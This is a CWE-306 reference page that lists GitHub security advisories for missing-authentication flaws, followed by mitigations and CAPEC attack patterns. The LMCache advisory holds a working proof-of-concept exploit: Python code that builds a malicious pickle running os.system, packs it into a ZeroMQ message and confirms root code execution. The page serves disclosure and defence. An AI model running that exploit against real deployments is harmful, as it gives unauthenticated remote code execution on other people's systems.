CWE-306
AllowedMissing Authentication for Critical Function
Abstraction: Base · Status: Draft
The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
4846 vulnerabilities reference this CWE, most recent first.
GHSA-W47C-MGM4-6RQ8
Vulnerability from github – Published: 2026-01-23 06:31 – Updated: 2026-01-23 06:31Enel X JuiceBox 40 Telnet Service Missing Authentication Remote Code Execution Vulnerability. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of Enel X JuiceBox 40 charging stations. Authentication is not required to exploit this vulnerability.
The specific flaw exists within the telnet service, which listens on TCP port 2000 by default. The issue results from the lack of authentication prior to allowing remote connections. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-23285.
{
"affected": [],
"aliases": [
"CVE-2026-0778"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-23T04:16:05Z",
"severity": "HIGH"
},
"details": "Enel X JuiceBox 40 Telnet Service Missing Authentication Remote Code Execution Vulnerability. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of Enel X JuiceBox 40 charging stations. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the telnet service, which listens on TCP port 2000 by default. The issue results from the lack of authentication prior to allowing remote connections. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-23285.",
"id": "GHSA-w47c-mgm4-6rq8",
"modified": "2026-01-23T06:31:24Z",
"published": "2026-01-23T06:31:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0778"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-041"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W4GC-5PXG-X2JH
Vulnerability from github – Published: 2026-09-15 21:33 – Updated: 2026-09-15 21:33The affected products are vulnerable to an authentication bypass that allows unauthenticated remote attackers to disclose sensitive device information, including administrator credentials in plaintext, by sending crafted HTTP(S) requests.
{
"affected": [],
"aliases": [
"CVE-2026-68953"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-15T21:16:42Z",
"severity": "HIGH"
},
"details": "The affected products are vulnerable to an authentication bypass that allows unauthenticated remote attackers to disclose sensitive device information, including administrator credentials in plaintext, by sending crafted HTTP(S) requests.",
"id": "GHSA-w4gc-5pxg-x2jh",
"modified": "2026-09-15T21:33:04Z",
"published": "2026-09-15T21:33:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-68953"
},
{
"type": "WEB",
"url": "https://digital-watchdog.com/downloads"
},
{
"type": "WEB",
"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-258-01.json"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-258-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-W4PV-P6XF-QC53
Vulnerability from github – Published: 2023-11-14 21:31 – Updated: 2023-11-21 21:30VMware Cloud Director Appliance contains an authentication bypass vulnerability in case VMware Cloud Director Appliance was upgraded to 10.5 from an older version. On an upgraded version of VMware Cloud Director Appliance 10.5, a malicious actor with network access to the appliance can bypass login restrictions when authenticating on port 22 (ssh) or port 5480 (appliance management console) . This bypass is not present on port 443 (VCD provider and tenant login). On a new installation of VMware Cloud Director Appliance 10.5, the bypass is not present.
{
"affected": [],
"aliases": [
"CVE-2023-34060"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-14T21:15:09Z",
"severity": "CRITICAL"
},
"details": "VMware Cloud Director Appliance contains an authentication bypass vulnerability in case VMware Cloud Director Appliance was upgraded to 10.5 from\nan older version.\u00a0On an upgraded version of VMware Cloud Director Appliance 10.5, a malicious actor with network access to the appliance can bypass login\nrestrictions when authenticating on port 22 (ssh) or port 5480 (appliance management console) . This bypass is not present on port 443 (VCD provider\nand tenant login). On a new installation of VMware Cloud Director Appliance 10.5, the bypass is not present.",
"id": "GHSA-w4pv-p6xf-qc53",
"modified": "2023-11-21T21:30:22Z",
"published": "2023-11-14T21:31:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34060"
},
{
"type": "WEB",
"url": "https://github.com/vmware/photon/wiki/Security-Update-3.0-687"
},
{
"type": "WEB",
"url": "https://github.com/vmware/photon/wiki/Security-Update-4.0-512"
},
{
"type": "WEB",
"url": "https://github.com/vmware/photon/wiki/Security-Update-5.0-143"
},
{
"type": "WEB",
"url": "https://www.vmware.com/security/advisories/VMSA-2023-0026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W4PV-QV3J-89WW
Vulnerability from github – Published: 2024-09-09 15:30 – Updated: 2026-06-03 15:30Improper Authentication, Missing Authentication for Critical Function, Improper Authorization vulnerability in Profelis Informatics and Consulting PassBox allows Authentication Abuse.This issue affects PassBox: before v1.2.
{
"affected": [],
"aliases": [
"CVE-2024-7015"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-09T14:15:14Z",
"severity": "HIGH"
},
"details": "Improper Authentication, Missing Authentication for Critical Function, Improper Authorization vulnerability in Profelis Informatics and Consulting PassBox allows Authentication Abuse.This issue affects PassBox: before v1.2.",
"id": "GHSA-w4pv-qv3j-89ww",
"modified": "2026-06-03T15:30:34Z",
"published": "2024-09-09T15:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7015"
},
{
"type": "WEB",
"url": "https://https://www.usom.gov.tr/bildirim/tr-24-1418"
},
{
"type": "WEB",
"url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-24-1418"
},
{
"type": "WEB",
"url": "https://www.usom.gov.tr/bildirim/tr-24-1418"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-W4QW-WHG8-4FJC
Vulnerability from github – Published: 2024-08-30 09:31 – Updated: 2024-08-30 18:30Missing authentication vulnerability exists in Telnet function of WAB-I1750-PS v1.5.10 and earlier. When Telnet function of the product is enabled, a remote attacker may login to the product without authentication and alter the product's settings.
{
"affected": [],
"aliases": [
"CVE-2024-39300"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-30T07:15:11Z",
"severity": "HIGH"
},
"details": "Missing authentication vulnerability exists in Telnet function of WAB-I1750-PS v1.5.10 and earlier. When Telnet function of the product is enabled, a remote attacker may login to the product without authentication and alter the product\u0027s settings.",
"id": "GHSA-w4qw-whg8-4fjc",
"modified": "2024-08-30T18:30:40Z",
"published": "2024-08-30T09:31:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39300"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/jp/JVN24885537"
},
{
"type": "WEB",
"url": "https://www.elecom.co.jp/news/security/20240827-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W4RJ-XPVG-FX9Q
Vulnerability from github – Published: 2023-02-03 18:30 – Updated: 2023-02-10 03:30Incorrect Access Control vulnerability in Modern Honey Network commit 0abf0db9cd893c6d5c727d036e1f817c02de4c7b allows remote attackers to view sensitive information via crafted PUT request to Web API.
{
"affected": [],
"aliases": [
"CVE-2021-37234"
],
"database_specific": {
"cwe_ids": [
"CWE-306",
"CWE-352",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-02-03T18:15:00Z",
"severity": "MODERATE"
},
"details": "Incorrect Access Control vulnerability in Modern Honey Network commit 0abf0db9cd893c6d5c727d036e1f817c02de4c7b allows remote attackers to view sensitive information via crafted PUT request to Web API.",
"id": "GHSA-w4rj-xpvg-fx9q",
"modified": "2023-02-10T03:30:20Z",
"published": "2023-02-03T18:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-37234"
},
{
"type": "WEB",
"url": "https://github.com/pwnlandia/mhn/issues/809"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W57H-38RG-V7WW
Vulnerability from github – Published: 2022-05-24 17:17 – Updated: 2022-05-24 17:17An issue was discovered on Wavlink WL-WN530HG4 M30HG4.V5030.191116 devices. A page is exposed that has the current administrator password in cleartext in the source code of the page. No authentication is required in order to reach the page (a certain live_?.shtml page with the variable syspasswd).
{
"affected": [],
"aliases": [
"CVE-2020-10972"
],
"database_specific": {
"cwe_ids": [
"CWE-306",
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-05-07T18:15:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered on Wavlink WL-WN530HG4 M30HG4.V5030.191116 devices. A page is exposed that has the current administrator password in cleartext in the source code of the page. No authentication is required in order to reach the page (a certain live_?.shtml page with the variable syspasswd).",
"id": "GHSA-w57h-38rg-v7ww",
"modified": "2022-05-24T17:17:25Z",
"published": "2022-05-24T17:17:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-10972"
},
{
"type": "WEB",
"url": "https://github.com/Roni-Carta/nyra"
},
{
"type": "WEB",
"url": "https://github.com/sudo-jtcsec/CVE/blob/master/CVE-2020-10972"
},
{
"type": "WEB",
"url": "https://github.com/sudo-jtcsec/CVE/blob/master/CVE-2020-10972-affected_devices"
},
{
"type": "WEB",
"url": "https://github.com/sudo-jtcsec/Nyra"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W5F2-9Q9C-FF4H
Vulnerability from github – Published: 2026-10-16 20:08 – Updated: 2026-10-16 20:09Summary
LMCache is vulnerable to Unauthenticated Remote Code Execution via Pickle Deserialization on the Multiprocess ZMQ Transport
Details
LMCache multiprocess mode, also called distributed mode, opens an unauthenticated ZeroMQ ROUTER so worker processes can register and share KV cache blocks. The intended clients are sibling LMCache processes. There is no CURVE, ZAP, password, or message authentication on that socket. LMCache used only inside a vLLM process does not open this port. The transport binds to localhost unless the operator sets a routable address with --host, which is how multi-node deployments let peers connect. The 9.8 score is for that routable configuration. A stock single-host install that leaves the default bind is not reachable from other machines.
Messages on the socket are msgpack. Extension code 1 is registered for DeviceIPCWrapper and is passed to DeviceIPCWrapper.Deserialize in lmcache/v1/platform/base/ipc_wrapper.py, which calls pickle.loads. That hook runs from ext_hook in lmcache/v1/multiprocess/custom_types.py while the server is still decoding REGISTER_KV_CACHE arguments, before the handler runs. A single unauthenticated ZMQ DEALER message to the transport port (default 5555) therefore executes code as the user the LMCache process runs as. Official container images run that process as root.
The decode path shipped in v0.3.9. It is still present in the latest PyPI release, v0.5.5, in the v0.5.6 release candidates through v0.5.6rc3, and on the dev branch as of 2026-10-07. No fixed version has been published.
Proof of concept
Step 1 - Start multiprocess mode bound to a routable address
This is the documented multi-node setting. The ZMQ transport listens on port 5555.
python -m lmcache.v1.multiprocess.http_server \
--http-host 127.0.0.1 --http-port 8080 \
--host 0.0.0.0 --port 5555 \
--l1-size-gb 0.25 --eviction-policy LRU \
--hash-algorithm blake3 --instance-id mp-node-01
Step 2 - Build a REGISTER_KV_CACHE frame whose cache slot is a pickle
Payload slot 1 is a msgpack extension with code 1. The server unpickles that body while it is still decoding arguments. The command writes id to /tmp/zmq_pwn.
import os
import pickle
import msgspec
import zmq
class EvilPayload:
def __init__(self, cmd):
self.cmd = cmd
def __reduce__(self):
return (os.system, (self.cmd,))
evil_pickle = pickle.dumps(EvilPayload("id > /tmp/zmq_pwn 2>&1"))
REGISTER_KV_CACHE = 1
EXT_CODE = 1
NUM_PAYLOADS = 7
KVCACHE_INDEX = 1
b_uid = msgspec.msgpack.encode(0)
b_type = msgspec.msgpack.encode(REGISTER_KV_CACHE)
payloads = [msgspec.msgpack.encode(None)] * NUM_PAYLOADS
payloads[0] = msgspec.msgpack.encode(0)
payloads[KVCACHE_INDEX] = msgspec.msgpack.encode(
[msgspec.msgpack.Ext(EXT_CODE, evil_pickle)]
)
frames = [b_uid, b_type, *payloads]
Step 3 - Send the frame
ctx = zmq.Context()
s = ctx.socket(zmq.DEALER)
s.connect("tcp://127.0.0.1:5555")
s.send_multipart(frames)
The pickle runs during argument decode. The server then logs a type error for REGISTER_KV_CACHE because the handler expected a DeviceIPCWrapper and received the return value of os.system. That error is after the command has already run.
Step 4 - Confirm the command ran as the LMCache user
cat /tmp/zmq_pwn
Expected output on an official image, where the process runs as root:
uid=0(root) gid=0(root) groups=0(root)
Impact
LMCache's multiprocess (MP) mode uses a ZeroMQ transport (port 5555 by default) that does not require authentication. Device IPC descriptors received on this transport were deserialized with pickle.loads. An attacker who can reach the transport port can send a single crafted message and execute arbitrary code with the privileges of the LMCache process.
By default the transport binds to localhost, and single-process (in-process) mode does not open the port. Deployments are exposed when the transport binds a routable address, as multi-node setups do. The project's example Kubernetes deployment bound all interfaces, and official container images ran as root, so deployments based on them should be treated as exposed.
Affected: 0.3.9 through 0.5.5, the 0.5.6 release candidates, and dev branch builds before PR #5644.
Patches
Fixed in 0.5.6. Pickle has been replaced with versioned, typed MessagePack descriptors that are validated before use; the device wrapper type is selected from a fixed local allowlist, and there is no pickle fallback. Both the ZeroMQ and gRPC transport paths are covered.
The wire format has changed: upgrade all workers and servers together.
0.5.6 also binds the example Kubernetes deployment to localhost (PR #5684) and runs official images as a non-root user (PR #5685).
Workarounds
Until you can upgrade:
- Do not bind the transport to a routable address; keep it on localhost or a trusted cluster network.
- Restrict access to the transport port (5555 by default) with firewall rules or network policies.
- Run LMCache as a non-root user (build from the provided Dockerfile if needed).
If the transport port was ever reachable from an untrusted network, treat the host as potentially compromised: review connections to the port, check for unexpected processes or outbound connections from the LMCache process, rotate reachable credentials, and redeploy from clean images.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "lmcache"
},
"ranges": [
{
"events": [
{
"introduced": "0.3.9"
},
{
"fixed": "0.5.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-105192"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-16T20:08:44Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\n\nLMCache is vulnerable to Unauthenticated Remote Code Execution via Pickle Deserialization on the Multiprocess ZMQ Transport\n\n\n\n### Details\n\nLMCache multiprocess mode, also called distributed mode, opens an unauthenticated ZeroMQ ROUTER so worker processes can register and share KV cache blocks. The intended clients are sibling LMCache processes. There is no CURVE, ZAP, password, or message authentication on that socket. LMCache used only inside a vLLM process does not open this port. The transport binds to localhost unless the operator sets a routable address with --host, which is how multi-node deployments let peers connect. The 9.8 score is for that routable configuration. A stock single-host install that leaves the default bind is not reachable from other machines.\n\nMessages on the socket are msgpack. Extension code 1 is registered for DeviceIPCWrapper and is passed to DeviceIPCWrapper.Deserialize in lmcache/v1/platform/base/ipc_wrapper.py, which calls pickle.loads. That hook runs from ext_hook in lmcache/v1/multiprocess/custom_types.py while the server is still decoding REGISTER_KV_CACHE arguments, before the handler runs. A single unauthenticated ZMQ DEALER message to the transport port (default 5555) therefore executes code as the user the LMCache process runs as. Official container images run that process as root.\n\nThe decode path shipped in v0.3.9. It is still present in the latest PyPI release, v0.5.5, in the v0.5.6 release candidates through v0.5.6rc3, and on the dev branch as of 2026-10-07. No fixed version has been published.\n\n\n\n### Proof of concept\n\nStep 1 - Start multiprocess mode bound to a routable address\n\n\nThis is the documented multi-node setting. The ZMQ transport listens on port 5555.\n\n```\n python -m lmcache.v1.multiprocess.http_server \\\n --http-host 127.0.0.1 --http-port 8080 \\\n --host 0.0.0.0 --port 5555 \\\n --l1-size-gb 0.25 --eviction-policy LRU \\\n --hash-algorithm blake3 --instance-id mp-node-01\n```\nStep 2 - Build a REGISTER_KV_CACHE frame whose cache slot is a pickle\n\n\nPayload slot 1 is a msgpack extension with code 1. The server unpickles that body while it is still decoding arguments. The command writes id to /tmp/zmq_pwn.\n\n```\nimport os\nimport pickle\nimport msgspec\nimport zmq\n\nclass EvilPayload:\n def __init__(self, cmd):\n self.cmd = cmd\n def __reduce__(self):\n return (os.system, (self.cmd,))\n\nevil_pickle = pickle.dumps(EvilPayload(\"id \u003e /tmp/zmq_pwn 2\u003e\u00261\"))\n\nREGISTER_KV_CACHE = 1\nEXT_CODE = 1\nNUM_PAYLOADS = 7\nKVCACHE_INDEX = 1\n\nb_uid = msgspec.msgpack.encode(0)\nb_type = msgspec.msgpack.encode(REGISTER_KV_CACHE)\npayloads = [msgspec.msgpack.encode(None)] * NUM_PAYLOADS\npayloads[0] = msgspec.msgpack.encode(0)\npayloads[KVCACHE_INDEX] = msgspec.msgpack.encode(\n [msgspec.msgpack.Ext(EXT_CODE, evil_pickle)]\n)\nframes = [b_uid, b_type, *payloads]\n```\nStep 3 - Send the frame\n\n\n```\nctx = zmq.Context()\ns = ctx.socket(zmq.DEALER)\ns.connect(\"tcp://127.0.0.1:5555\")\ns.send_multipart(frames)\n```\nThe pickle runs during argument decode. The server then logs a type error for REGISTER_KV_CACHE because the handler expected a DeviceIPCWrapper and received the return value of os.system. That error is after the command has already run.\n\n\nStep 4 - Confirm the command ran as the LMCache user\n\n\n```\ncat /tmp/zmq_pwn\n```\nExpected output on an official image, where the process runs as root:\n\n```\nuid=0(root) gid=0(root) groups=0(root)\n```\n\n### Impact\n\nLMCache\u0027s multiprocess (MP) mode uses a ZeroMQ transport (port 5555 by default) that does not require authentication. Device IPC descriptors received on this transport were deserialized with `pickle.loads`. An attacker who can reach the transport port can send a single crafted message and execute arbitrary code with the privileges of the LMCache process.\n\nBy default the transport binds to localhost, and single-process (in-process) mode does not open the port. Deployments are exposed when the transport binds a routable address, as multi-node setups do. The project\u0027s example Kubernetes deployment bound all interfaces, and official container images ran as root, so deployments based on them should be treated as exposed.\n\nAffected: 0.3.9 through 0.5.5, the 0.5.6 release candidates, and `dev` branch builds before PR #5644.\n\n\n### Patches\n\nFixed in **0.5.6**. Pickle has been replaced with versioned, typed MessagePack descriptors that are validated before use; the device wrapper type is selected from a fixed local allowlist, and there is no pickle fallback. Both the ZeroMQ and gRPC transport paths are covered.\n\nThe wire format has changed: upgrade all workers and servers together.\n\n0.5.6 also binds the example Kubernetes deployment to localhost (PR #5684) and runs official images as a non-root user (PR #5685).\n\n### Workarounds\n\nUntil you can upgrade:\n\n- Do not bind the transport to a routable address; keep it on localhost or a trusted cluster network.\n- Restrict access to the transport port (5555 by default) with firewall rules or network policies.\n- Run LMCache as a non-root user (build from the provided Dockerfile if needed).\n\nIf the transport port was ever reachable from an untrusted network, treat the host as potentially compromised: review connections to the port, check for unexpected processes or outbound connections from the LMCache process, rotate reachable credentials, and redeploy from clean images.",
"id": "GHSA-w5f2-9q9c-ff4h",
"modified": "2026-10-16T20:09:10Z",
"published": "2026-10-16T20:08:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/LMCache/LMCache/security/advisories/GHSA-w5f2-9q9c-ff4h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-105192"
},
{
"type": "WEB",
"url": "https://github.com/LMCache/LMCache/pull/5644"
},
{
"type": "WEB",
"url": "https://github.com/LMCache/LMCache/pull/5684"
},
{
"type": "WEB",
"url": "https://github.com/LMCache/LMCache/pull/5685"
},
{
"type": "WEB",
"url": "https://github.com/LMCache/LMCache/commit/160b6dec469edb765efd1fad42aca5a438b08bb5"
},
{
"type": "WEB",
"url": "https://github.com/LMCache/LMCache/commit/62f74c417dfe1ba56761733fd25dc8209a192f20"
},
{
"type": "WEB",
"url": "https://github.com/LMCache/LMCache/commit/767c7e367bbdc357c445cf7bd2ed259cff8d5865"
},
{
"type": "WEB",
"url": "https://blog.lmcache.ai/en/2026/10/13/an-update-on-cve-2026-105192"
},
{
"type": "PACKAGE",
"url": "https://github.com/LMCache/LMCache"
},
{
"type": "WEB",
"url": "https://github.com/LMCache/LMCache/blob/v0.3.9/lmcache/v1/multiprocess/custom_types.py"
},
{
"type": "WEB",
"url": "https://github.com/LMCache/LMCache/blob/v0.5.5/lmcache/v1/platform/base/ipc_wrapper.py"
},
{
"type": "WEB",
"url": "https://research.jfrog.com/vulnerabilities/lmcache-is-vulnerable-to-unauthenticated-remote-code-execution-via-pickle-deserialization-on-the-multiprocess-zmq-transport-cve-2026-105192-jfsa-2026-001694382"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "LMCache: Remote code execution via unsafe deserialization in multiprocess mode transport"
}
GHSA-W5F8-G225-CM8H
Vulnerability from github – Published: 2023-02-15 18:30 – Updated: 2023-02-24 18:30LS ELECTRIC XBC-DN32U with operating system version 01.80 is missing authentication for its deletion command. This could allow an attacker to delete arbitrary files.
{
"affected": [],
"aliases": [
"CVE-2023-0102"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-02-15T18:15:00Z",
"severity": "CRITICAL"
},
"details": "LS ELECTRIC XBC-DN32U with operating system version 01.80 is missing authentication for its deletion command. This could allow an attacker to delete arbitrary files.",
"id": "GHSA-w5f8-g225-cm8h",
"modified": "2023-02-24T18:30:27Z",
"published": "2023-02-15T18:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-0102"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/uscert/ics/advisories/icsa-23-040-02"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W5FV-RCJ5-PMJ9
Vulnerability from github – Published: 2025-12-02 15:30 – Updated: 2026-08-26 18:30Entrust nShield Connect XC, nShield 5c, and nShield HSMi through 13.6.11, or 13.7, allow a user with OS root access to alter firmware on the Chassis Management Board (without Authentication). This is called F04.
{
"affected": [],
"aliases": [
"CVE-2025-59695"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-02T15:15:55Z",
"severity": "CRITICAL"
},
"details": "Entrust nShield Connect XC, nShield 5c, and nShield HSMi through 13.6.11, or 13.7, allow a user with OS root access to alter firmware on the Chassis Management Board (without Authentication). This is called F04.",
"id": "GHSA-w5fv-rcj5-pmj9",
"modified": "2026-08-26T18:30:27Z",
"published": "2025-12-02T15:30:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/google/security-research/security/advisories/GHSA-6q4x-m86j-gfwj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59695"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-w5fv-rcj5-pmj9"
},
{
"type": "WEB",
"url": "https://www.entrust.com/knowledgebase/hardware/understanding-nshield-security-advisory-september-2025"
},
{
"type": "WEB",
"url": "https://www.entrust.com/use-case/why-use-an-hsm"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
- Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
- Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
- In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks.
- In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
Mitigation MIT-4.5
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
Mitigation
When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].
CAPEC-12: Choosing Message Identifier
This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.
CAPEC-166: Force the System to Reset Values
An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions.
CAPEC-216: Communication Channel Manipulation
An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise.
CAPEC-36: Using Unpublished Interfaces or Functionality
An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.
CAPEC-62: Cross Site Request Forgery
An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.